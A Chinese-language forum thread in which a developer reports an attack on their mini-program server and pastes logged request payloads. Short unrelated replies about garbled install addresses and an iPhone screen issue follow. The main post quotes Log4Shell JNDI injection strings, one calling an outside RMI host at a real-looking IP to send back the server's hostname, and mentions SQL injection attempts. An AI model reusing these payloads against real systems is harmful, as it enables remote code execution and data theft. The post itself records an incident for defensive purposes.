我查到的是广东那边的ip [图片]

今天发现，小程序服务端被攻击了： 代码： "Query\":{\"Fmatname\":\"\",\"Ffun\":\"\",\"Flight\":\"\",\ "Query\":{\"Fmatname\":\"\",\"Ffun\":\"\",\"Flight\":\"\",\ "Query\":{\"Fmatname\":\"\",\"Ffun\":\"\",\"Flight\":\"aaaa "Query\":{\"Fmatname\":\"${jndi:rmi://hostname-${hostName}. "Query\":{\"Fmatname\":\"\",\"Ffun\":\"\",\"Flight\":\"\",\ "Query\":{\"Fmatname\":\"\",\"Ffun\":\"\",\"Flight\":\"\",\ ${jndi:rmi://hostname-${hostName}. 这是一个java 日志的漏洞，还好我不是java写的 [图片] sql注入，还是我没有用动态拼接sql 发现，请求的ip基本的是国外的,但我发现其中有这样的代码： ${jndi:rmi://183.47.120.213:1099/bypassb3299945ddb08d9567806303c38acfc6-/-${hostName}} 查了一下，是广东某机房的ip,貌似想把数据回传给这个ip [图片] 它们这次攻击注定是不成功的，因为它们没有破解，我登陆这一关。 说好，中国人不坑中国人，中国人必须团结起来，一致对外呀。

安装更新时，地址乱码。 [图片]

我也发现这个问题，我的是在苹果上发现的，开启的屏幕长亮，然后放在那个一段时间就提示这个了。